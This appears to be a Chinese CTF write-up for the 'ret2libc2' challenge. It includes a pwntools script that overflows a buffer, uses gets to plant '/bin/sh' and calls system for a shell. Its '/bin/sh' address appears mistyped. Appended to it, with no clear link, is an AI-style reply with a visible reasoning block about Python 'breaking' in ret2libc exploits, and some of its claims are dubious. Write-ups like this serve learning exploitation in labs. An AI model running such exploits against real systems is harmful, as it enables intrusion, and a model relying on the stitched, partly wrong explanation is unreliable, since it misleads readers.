基本ROP之ret2libc2

检查保护机制 只开了堆栈不可执行

gdb调试elf文件查看plt表发现有system的plt表项,需要我们自己调用gets函数来读取字符串'/bin/sh'

考虑一下这个字符串写哪里

用vmmap查看一下权限

 0x804a000~0x804b000有write权限 都能写

from pwn import *
context(log_level='debug',amd='i386',os='linux')
p=process('./ret2libc2')
system_add=0x8048490
gets_add=0x8048460
pop_bx=0x0804843d
bin_sh=0x804a10
payload=b'a'*112+p32(gets_add)+p32(pop_bx)+p32(bin_sh)+p32(system_add)+p32(0000)+p32(bin_sh)
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()
p32(gets_add)+p32(pop_bx)+p32(bin_sh)+p32(system_add)+p32(0000)+p32(bin_sh)

这儿着实费解

gets读取的字符串放在bx寄存器中的存的地址,然后返回地址system,system的返回地址,/bin/sh的返回地址 就酱理解吧 !

<think>嗯,用户问为什么在做ret2libc的题目时,Python会坏。首先,我需要理解用户的问题场景。Ret2libc是一种常见的栈溢出攻击技术,通常用于绕过NX(不可执行堆栈)保护。用户可能在编写利用脚本时使用Python,但遇到了问题,比如脚本崩溃或者无法成功利用漏洞。 接下来,我需要考虑Python在漏洞利用中的常见问题。Python的输入处理可能有问题,比如使用`input()`函数而不是`sys.stdin.read()`或者`os.read()`,导致输入不完整或者被缓冲。此外,Python的字符串处理可能引入空字符,截断payload,尤其是在使用`send`或`sendline`方法时,`sendline`会自动添加换行符,可能破坏payload结构。 另一个方面是子进程的交互问题。使用pwntools库时,如果没有正确处理进程的输入输出缓冲,可能导致竞争条件,使得payload没有被及时接收。此外,环境变量差异也可能影响地址布局,比如本地和远程环境的不同导致libc地址计算错误。 还有Python版本的问题,比如在Python 3中字符串是Unicode,而二进制数据需要正确编码为bytes,否则会导致类型错误。工具链的版本也可能影响,比如pwntools的API变化或存在bug。 用户可能是在编写脚本时遇到了这些具体问题,导致exploit失败,误以为是Python的问题。需要逐一排查这些可能性,比如检查输入方法是否正确处理二进制数据,确保payload中没有意外字符,处理子进程的缓冲,统一环境变量,以及确认Python版本和库的兼容性。 总结来说,问题不在于Python本身,而是在使用Python编写脚本时需要注意的一些细节。需要指导用户检查输入输出处理、payload构造、环境一致性等方面,确保每个步骤都正确无误。</think>在CTF Pwn题型中进行ret2libc攻击时,使用Python编写exp脚本可能遇到"坏"的情况(如程序崩溃或无法getshell),主要与以下技术细节相关: 1. **输入处理差异** - Python的`input()`函数会默认添加换行符(`\n`) - 二进制payload中的`\x00`可能被字符串处理函数截断 - 正确做法:使用`sys.stdout.buffer.write()`或`pwntools`的`send()`/`sendline()` 2. **进程交互时序问题** ```python # 错误示例(未处理缓冲) p = process('./vuln') p.send(payload) # 可能未及时到达程序 # 正确做法(pwntools推荐) p = process('./vuln') p.send(payload) p.recvuntil('>') # 等待特定交互节点 ``` 3. **地址对齐问题** - Python的struct.pack可能产生意外对齐 - 对比C语言直接内存操作: ```c // C语言直接构造payload memcpy(buffer, "\x7f\x45\x4c\x46", 4); ``` 4. **环境变量污染** ```bash # 本地环境变量可能影响libc地址 env -i LD_PRELOAD=./libc.so.6 ./vuln ``` Python脚本中必须显式指定环境: ```python p = process(env={'LD_PRELOAD':'./libc.so.6'}, argv=['./vuln']) ``` 5. **编码转换问题(Python3特有)** ```python # 错误示例(混淆bytes和str) payload = b'A'*40 + addr # addr若是int会报错 # 正确转换方式 from pwn import * payload = flat([ b'A'*40, libc.address + 0x1234 # pwntools自动转换 ]) ``` **解决方案建议:** 1. 使用`pwntools`库而非纯Python实现 2. 在payload构造中显式指定字节类型 ```python rop.raw(bytes.fromhex('deadbeef')) ``` 3. 处理标准输入输出时关闭缓冲 ```python p = process(stdin=PTY, stdout=PTY) # 强制伪终端模式 ``` 4. 通过`gdb.attach(p)`实时调试内存状态 通过注意这些系统级交互细节,Python仍然可以稳定完成ret2libc攻击。关键是要理解底层机制而非单纯依赖高级语言的抽象。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值